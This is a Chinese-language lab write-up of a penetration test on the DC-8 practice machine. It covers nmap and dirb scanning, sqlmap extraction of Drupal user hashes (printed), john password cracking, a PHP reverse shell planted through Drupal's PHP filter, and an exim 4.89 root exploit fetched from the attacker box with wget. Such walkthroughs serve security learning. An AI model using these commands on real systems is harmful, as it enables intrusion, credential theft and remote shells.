DC-8 靶机渗透测试
DC-8 渗透测试
冲冲冲 ，好好学习 。 核心：cms上传添加存在漏洞组件，利用该组件getshell
操作机：kali 172.66.66.129
靶机：DC-4 172.66.66.137
网络模式：NAT
netdiscover
nmap -sV -A -p- 172.66.66.137 -oN dc-8.nmap
开了22端口ssh 7.4，80端口http
robots.txt 看看
dirb http://172.66.66.137 | grep CODE:2
dirb http://172.66.66.137 > /tmp/dc-8.dirb
只看能访问成功的页面，也可以所有结果输出到文本里保存起来慢慢分析。
有感觉到靶机的难度在提升，加油冲冲冲
先去访问80看看，发现cms是Drupal 7
直觉告诉我，这个url 存在注入点？
url输入单引号 ' 有报错回显而且泄露路径，可以sqlmap跑起来。
sqlmap -u http://172.66.66.137?/nid=1
存在漏洞，爆破吧（不想手工来了>..<）
sqlmap -u http://172.66.66.137/?nid=1 --dbs
sqlmap -u http://172.66.66.137/?nid=1 -D d7db --tables
sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users --columns
sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users -C name,pass,uid --dump
| name | pass | uid |
|---|---|---|
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
1 |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
2 |
保存密码到dc-8.txt，再kali下john爆破一下， john dc-8.txt
turtle
尝试登陆
admin：turtle ； john：turtle发现john是可以的
searchsploit drupal 7
查到/usr/share/exploitdb/exploits/php/webapps/34992.py，能添加admin账号
没有该漏洞，搞了个寂寞... （还有个ssh爆破没尝试）
john账号登进去之后的内容就太丰富了。
看到有留言板，马上想到XSS。
我们的目标是：想办法拿到shell，先想到反弹shell，反弹shell的前提是，得找到有地方可以上传并解析代码的位置。
留言板尝试无果，
发现有个可以 edit ，可以编辑代码？点开看看，貌似可以插入个php反弹shell
添加完仿佛没效果？是没有解析吗？
一顿操作下来，发现了这个页面，编辑文本格式里找到了 php code ，狂喜 (>-<)
菜鸡落泪，步骤的第一步就错了，不应该一上来就写反弹shell，得先测试一下这里输入的php代码时候可以被正确的执行，并且回显。测试php 编码是否能执行，写个 <?php phpinfo();?>之类的。
有没有发现，写进去了，讲道理，写进去的php，一般是解析执行了的，但是要访问哪个路径才能看到写进去的内容呢？（打开什么路径触发？）这是个大问题。大问题大问题，为啥没显示出来？编辑还没提交吗？
果然是提交的问题，上面的步骤不完整，每一个都填写，还要添加
最后起作用的好像是这个图的框里，点击submit之后，shell上线。不不不，最后起作用的不是这个框，是上图的form sitting
拿到个陌生shell，开始收集信息。uname -a 、echo $SHELL 、echo $PATH、find / -perm -4000 -type f 2>/dev/null ...
令人兴奋的权限，查看一下内容是啥
4.89版本的exim ，找一下漏洞
上面的txt大多是漏洞验证之类的文档，当然也可以研究可以。要是有 可执行的提权脚本就更爽了。
盯住 privilege escalation 字眼，46994.sh仿佛在向你招手。本地提权，得把脚本传到靶机。
kali开启服务器python -m SimpleHTTPServer 9876
靶机下载脚本 wget http://172.66.66.129:9876/46996.sh
kali下记得执行以下 dos2unix 46996.sh 改一下文本格式
执行（脚本改名为 dc-8.sh了）
没成功，再回去仔细看看脚本源码
有两种利用方法， suid 、netcat
这个shell 效果很玄学，执行了七八次，最后是用netcat才成功了。
最后
